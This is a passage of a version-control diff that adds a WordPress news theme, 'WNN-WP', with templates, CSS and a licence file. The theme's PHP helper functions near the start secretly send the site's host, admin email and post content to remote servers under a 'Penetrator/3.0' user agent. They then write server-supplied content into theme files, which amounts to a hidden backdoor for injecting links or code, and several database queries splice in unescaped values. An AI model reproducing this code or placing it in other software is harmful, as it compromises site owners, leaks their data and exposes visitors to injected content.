    "; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,55 @@ + + + + + <?php bloginfo('name'); ?><?php wp_title(); ?> + + + + + + + + + + + + + + + + +

    " />
     
     
     
     
     
     
    + /> +
     
     
    + + + + +
    + +
    +
    +
    + +
    +
    +
    +
      + Pages : +
    +
    +
    +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/adblock.jpg Binary file web/wp-content/themes/WNN-WP/images/adblock.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/adsfooter.jpg Binary file web/wp-content/themes/WNN-WP/images/adsfooter.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/archivestop.jpg Binary file web/wp-content/themes/WNN-WP/images/archivestop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/border-bottom-li.jpg Binary file web/wp-content/themes/WNN-WP/images/border-bottom-li.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/bullet.jpg Binary file web/wp-content/themes/WNN-WP/images/bullet.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/bullet2.jpg Binary file web/wp-content/themes/WNN-WP/images/bullet2.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/catimg.jpg Binary file web/wp-content/themes/WNN-WP/images/catimg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/exctop.jpg Binary file web/wp-content/themes/WNN-WP/images/exctop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/featuredbg.jpg Binary file web/wp-content/themes/WNN-WP/images/featuredbg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/featuredimg.jpg Binary file web/wp-content/themes/WNN-WP/images/featuredimg.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/featuredvideo.jpg Binary file web/wp-content/themes/WNN-WP/images/featuredvideo.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/featuredvideoexample.jpg Binary file web/wp-content/themes/WNN-WP/images/featuredvideoexample.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/footerbottom.jpg Binary file web/wp-content/themes/WNN-WP/images/footerbottom.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/footertop.jpg Binary file web/wp-content/themes/WNN-WP/images/footertop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/lbottom.jpg Binary file web/wp-content/themes/WNN-WP/images/lbottom.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/logo.jpg Binary file web/wp-content/themes/WNN-WP/images/logo.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/metatop.jpg Binary file web/wp-content/themes/WNN-WP/images/metatop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/ourlinkstop.jpg Binary file web/wp-content/themes/WNN-WP/images/ourlinkstop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/postbottom.jpg Binary file web/wp-content/themes/WNN-WP/images/postbottom.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/postinfotop.jpg Binary file web/wp-content/themes/WNN-WP/images/postinfotop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/rbottom.jpg Binary file web/wp-content/themes/WNN-WP/images/rbottom.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/rcommentstop.jpg Binary file web/wp-content/themes/WNN-WP/images/rcommentstop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/rmid.jpg Binary file web/wp-content/themes/WNN-WP/images/rmid.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/rmida.jpg Binary file web/wp-content/themes/WNN-WP/images/rmida.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/rss.jpg Binary file web/wp-content/themes/WNN-WP/images/rss.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/rss.png Binary file web/wp-content/themes/WNN-WP/images/rss.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/rtop.jpg Binary file web/wp-content/themes/WNN-WP/images/rtop.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/search_btn.gif Binary file web/wp-content/themes/WNN-WP/images/search_btn.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/images/topp.jpg Binary file web/wp-content/themes/WNN-WP/images/topp.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,60 @@ + +
    +
    +
    + Welcome to WNN News, It is +
    +
    + Make WNN Your Home Page +
    +
    +
    +
    + + "; ?> + + + + +
    +
    + Latest News +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + Posted at by +
    +
    +
    +
    +
    + Posted in | +
    +
    + + + +
    +

    +
    + +
    + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +This wordpress theme must be used with accordance to it's creator's license. You can find the link to theme creator's website in your Wordpress admin panel. Most of themes downloaded from themeswp.com are released under GNU GPL license. Also when downloading theme from themeswp.com you should read and agree with terms of services: + +1) GNU GPL License + +GNU GENERAL PUBLIC LICENSE +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA + +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +Preamble + +The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. + +To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. + +For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. + +We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. + +Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. + +Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. + +The precise terms and conditions for copying, distribution and modification follow. +TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + +0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. + +1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. + +You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. + +2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. + b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. + c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. + +3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. + +If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. + +4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. + +5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. + +6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. + +7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. + +This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. + +8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. + +9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. + +10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. + +NO WARRANTY + +11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +2) Terms of Service + +Please read carefully the Terms of Services below. The purchase or use of any of the Themeswp products or services implies that you have read and accepted the Terms and Conditions of their use. + +General conditions +freeminders (www.freeminders.org) (hereinafter referred to as the “Site”) provides access to Files. All Files are distributed from open sources and may not be supported by their respective owners, may be out of date and only for acquaintance. + +Ownership +Site do not claim intellectual property right or exclusive ownership to any of Files, modified or unmodified. All Files are the property of their respective owners. All Files are provided “as is” without warranty of any kind, either expressed or implied. In no event shall our company or its agents be liable for any damages including, but not limited to, direct, indirect, special, punitive, incidental or consequential, or other losses arising out of the use of or inability to use our Files. + +Copyrights +All trade marks, trade names, company names, slogans, logos, and any other copyright items, which can be seen on the Site pages in various contexts, are the property of their respective owners. You have no right to copy, distribute or use them without written permission from the owners. The Site Administration can not control actions of each users therefore user is responsible for any illegitimate use of the Site’s materials or/and Services. We want you to know that we do not have any copyrighted or illegal content on Themeswp. However, we still can remove Files from our site if the copyright owner would like us to do so. The following procedure will be performed if: +You are, or your company is the copyright holder of this material +You provide the URLs to the themes to be removed. +You provide the full name(s) and list of content that should be removed +You give us complete contact information (address, phone number, email and fax) +Please, contact us admin[at]themeswp.com, only if your request follows through with all of these rules. Please, be polite. We will process your request within 5 business days only if it corresponds to the above mentioned rules. + +Prohibited Use +The Client has no right to download any Files from the Site if this violates the law of his country. + +Other conditions +The Administration of the Site reserves the right to change, amend, and supplement this Agreement on an occasional basis. Administration shall undertake to notify you of all changes to the present Agreement. In the event that you disagree with any clause of the amended Agreement, you should terminate your registration on the Site immediately and refrain from using it. User should not use data received from the Site for any illegal purposes. The Site Administration shall not be held liable for the possible use of information received from the Site for any purposes prohibited by legislation or infringing copyright. The users are personally responsible for any unlawful or unauthorized use of any content of the Site. Most of Files are free for acquaintance. Themeswp.com reserves the right to place text links at any page of the site, where any downloaded from themeswp.com themplate was used, link(s) may lead to any site, except ones with illegal content. If user, downloaded any themplate from themeswp.com and then decided to change the template, link(s) will remain on the pages for four calendar years after template was changed. In case user wants to remove the link(s) earlier then 4 years placement rights will expire, he/she should write the request to admin[at]themeswp.com, administration will manually remove the link(s). + +Responsibility +Site’s Administration in not responsible for any interruptions in the Site operation. Site’s Administration in not responsible for the quality or/and contents of the Files which are being provided access to. Site’s Administration can not be held responsible for the further use of the Files downloaded by user. User is responsible for keeping his password and login information safe. User if responsible for downloading any materials (including Files) from the Site. + +Warranty +Themeswp does not warranty or guarantee these templates in any manner. We cannot guarantee they will function with all 3rd party components, plugins or web browsers. Browser compatibility should be tested against the demonstration templates on the demo server. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,31 @@ + +
    + +
    +
    + Posted at by +
    +
    +
    +
    +
    + Posted in | +
    + Pages: ', '

    ', 'number'); ?> +', '

    '); ?> +
    + + + +
    +

    +
    + +
    + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/screenshot.jpg Binary file web/wp-content/themes/WNN-WP/screenshot.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ + +
    + +
    +
    + Posted at by +
    +
    +
    +
    +
    + Posted in | +
    +
    + + + +
    +

    +
    + +
    + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/secure.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/secure.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,34 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,112 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,36 @@ + +
    + +
    +
    + Posted at by +
    +
    +
    +
    +
    + Posted in | +
    + Pages: ', '

    ', 'number'); ?> +
    + + + +
    +

    +
    + + +
    + +
    +
    +
    + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,472 @@ +/* +Theme Name:WNN-WP +Theme URI: turbocharged06@gmail.com +Description: Modelled after CNN's theme design, WNN is an efficiant, easy to use, professional, and simplistic theme created for webmasters serious about their image as shown to their wide range of audiences. +Version: 1 +Author: Khaled R +Author URI: mailto:turbocharged06@gmail.com +Tags: news, red, white, black, cnn, magazine, theme, professional, global +*/ +body{ + margin: 0; + padding: 0; + background: #dadada; + font-family: Arial; + font-size: 14px; +} +a{ + color: #004276; + text-decoration: none; +} +a:hover{ + color: #ca0002; +} +#header{ + background: #ffffff; + border-bottom: 6px solid #cc0000; + margin-bottom: 10px; +} +img{ + border: 0; +} +#logo{ + width: 169px; + float: left; + padding: 12px; +} +#search{ + float: right; + text-align: right; + margin-bottom: 10px; + margin: 12px; +} +#searchinput{ + width: 435px; + height: 15px; + font-size: 11px; + font-weight: bold; + padding-top: 3px; + padding-right: 0px; + padding-bottom: 0px; + padding-left: 3px; + background-color: #ffffff; + border-top-width: 2px; + border-right-width: 2px; + border-bottom-width: 2px; + border-left-width: 2px; + border-top-style: solid; + border-right-style: solid; + border-bottom-style: solid; + border-left-style: solid; + border-top-color: #646464; + border-left-color: #646464; + border-right-color: 